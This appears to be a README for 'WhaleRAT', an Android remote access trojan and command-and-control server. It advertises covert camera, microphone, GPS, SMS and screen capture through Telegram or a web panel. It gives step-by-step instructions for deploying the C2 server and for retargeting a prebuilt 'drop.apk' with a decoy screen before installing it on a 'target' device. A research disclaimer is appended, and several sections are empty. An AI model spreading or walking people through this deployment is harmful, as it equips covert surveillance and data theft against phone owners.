WhaleRAT: A Stealthy Android Remote Access Trojan (RAT).

1. What is WhaleRAT & Who Made It?

WhaleRAT is a powerful, lightweight Android Remote Administration Tool (RAT) and Command & Control (C2) framework developed for authorized defensive security testing, mobile malware research, and laboratory emulation — built from scratch with zero port forwarding required.

Why WhaleRAT is Different: No Port Forwarding Needed

Traditional Android RATs have always been painful to deploy. They depend on reverse TCP connections or inbound ports that constantly break behind Carrier-Grade NAT (CGNAT), corporate cellular APNs, or dynamic IP changes. In the past, researchers had to configure router port forwarding, pay for static IPs, or maintain fragile dynamic DNS daemons.

WhaleRAT eliminates all of that friction:

• Outbound-Only WebSockets: The Android client connects outward to your C2 server over a secure TLS WebSocket (wss://). Because the connection originates from the device, routers and cellular firewalls allow it through automatically — no router configuration needed.
• Zero-Recompile Mobile Patching: The client APK reads its server address from an internal config file (assets/config.json). You can change server URLs in 10 seconds right on your phone using MT Manager without Android Studio or Gradle.

Dual-Mode Control Planes

WhaleRAT gives security operators two synchronized ways to manage connected test devices:

1. 📲 Telegram Bot: Issue commands on the move directly from your phone. Take photos, record microphone clips, retrieve GPS coordinates, or dump SMS messages — all delivered straight into your private Telegram chat.
2. 🖥️ Web C2 Dashboard: A full-featured browser control panel for desktop operators. Watch live screen streams, browse remote files, view device locations on Leaflet maps, and log in securely with WebAuthn Passkeys (TouchID, FaceID, or hardware security keys).

Web C2 Dashboard & Authentication Interface

Take a look inside the WhaleRAT Web C2 panel used by operators for high-speed device administration and hardware-backed biometric authentication:

Device Monitor & Ctrl Hub

Live Android screen mirroring, active target status (battery, IP, connection state), quick operational modules (SMS, Calls, Contacts, Camera, GPS, Logs), and synchronized activity streams.

Passkey & PIN Authentication

Protected administration gateway utilizing WebAuthn hardware passkeys (TouchID, FaceID, YubiKey) and secret credentials to prevent credential theft and unauthorized access.

2. Architecture & Data Flow Breakdown

The WhaleRAT backend is designed to be lightweight and rock-solid. Powered by Node.js (v20+) and Express, it coordinates device WebSocket connections, Telegram Bot API polling, and browser web panels simultaneously.

┌─────────────────────────────────────┐
│          Android Device (APK)        │
│  Outbound WebSocket  ──────────────► │
└─────────────────────────────────────┘
                                        │
                               ┌────────▼──────────────────────┐
                               │   WhaleRAT Server (Node.js)    │
                               │                                │
                               │  ┌─────────┐  ┌────────────┐  │
                               │  │ Express │  │  WS Server │  │
                               │  │  HTTP   │  │  (device)  │  │
                               │  └────┬────┘  └─────┬──────┘  │
                               │       │              │          │
                               │  ┌────▼──────────────▼──────┐  │
                               │  │       Core Logic          │  │
                               │  │  (device map, log store,  │  │
                               │  │   command dispatch, etc.) │  │
                               │  └────┬──────────┬──────────┘  │
                               │       │          │              │
                               │  ┌────▼────┐  ┌──▼──────────┐  │
                               │  │Telegram │  │  Web Panel  │  │
                               │  │  Bot    │  │  (HTML/JS)  │  │
                               │  └─────────┘  └─────────────┘  │
                               └────────────────────────────────┘
                                        │             │
                               Telegram API       Browser
                               (admin's phone)    (admin's PC)

3. Capabilities & Feature Breakdown

WhaleRAT includes over 20 discrete surveillance, telephony, file management, and device control capabilities. Every module can be triggered on-the-go from the Telegram Bot or dispatched from the browser Web C2 Dashboard:

4. Step-by-Step Server Deployment (Railway)

WhaleRAT is engineered for zero-friction cloud deployment. With Railway, you can bring up a fully TLS-secured public C2 instance in under 2 minutes:

1. Fork the WhaleRAT GitHub repository to your personal account.
2. Log in to Railway.app and click New Project → Deploy from GitHub repo.
3. Select your forked WhaleRAT repository.
4. Navigate to the Variables tab and configure the 4 core environment variables:

5. Under Settings → Networking, click Generate Domain to receive your unique HTTPS domain (e.g. https://whalerat-production.up.railway.app).

5. Patching the Client APK with MT Manager

The client application inside app/drop.apk is architected to read its server coordinates dynamically from an internal JSON asset. This enables operators to re-target the APK directly on their Android phone or tablet without compiling from source:

{
  "server_url": "https://your-whalerat.up.railway.app/",
  "webview_url": "https://google.com/"
}

Step-by-Step MT Manager Guide:

1. Install MT Manager on your Android testing device.
2. Transfer app/drop.apk to your internal storage.
3. Open MT Manager, tap drop.apk, and select "View" (do not extract).
4. Navigate into the assets/ folder and open config.json.
5. Update server_url to your exact Railway URL (must end with a trailing slash /).
6. Optionally change webview_url to any legitimate URL used as a foreground decoy screen.
7. Save the file. When MT Manager asks to "Auto-sign the APK", tap Yes.
8. Install the newly signed APK onto the target test device.

6. Security Hardening & OPSEC Guidelines

WhaleRAT is deliberately powerful. When setting up a research lab or testing infrastructure, adhere strictly to these operational security guidelines:

7. Conclusion & Legal Disclaimer

WhaleRAT is intended exclusively for authorized security research, academic studies, and defensive engineering.

Using this software against targets without explicit, prior, written consent is strictly illegal and subject to severe criminal liability under applicable law (CFAA, Computer Misuse Act, Indian IT Act, etc.). The developers assume zero responsibility for misuse, damage, or malicious actions executed via this codebase. You are solely responsible for how you use it.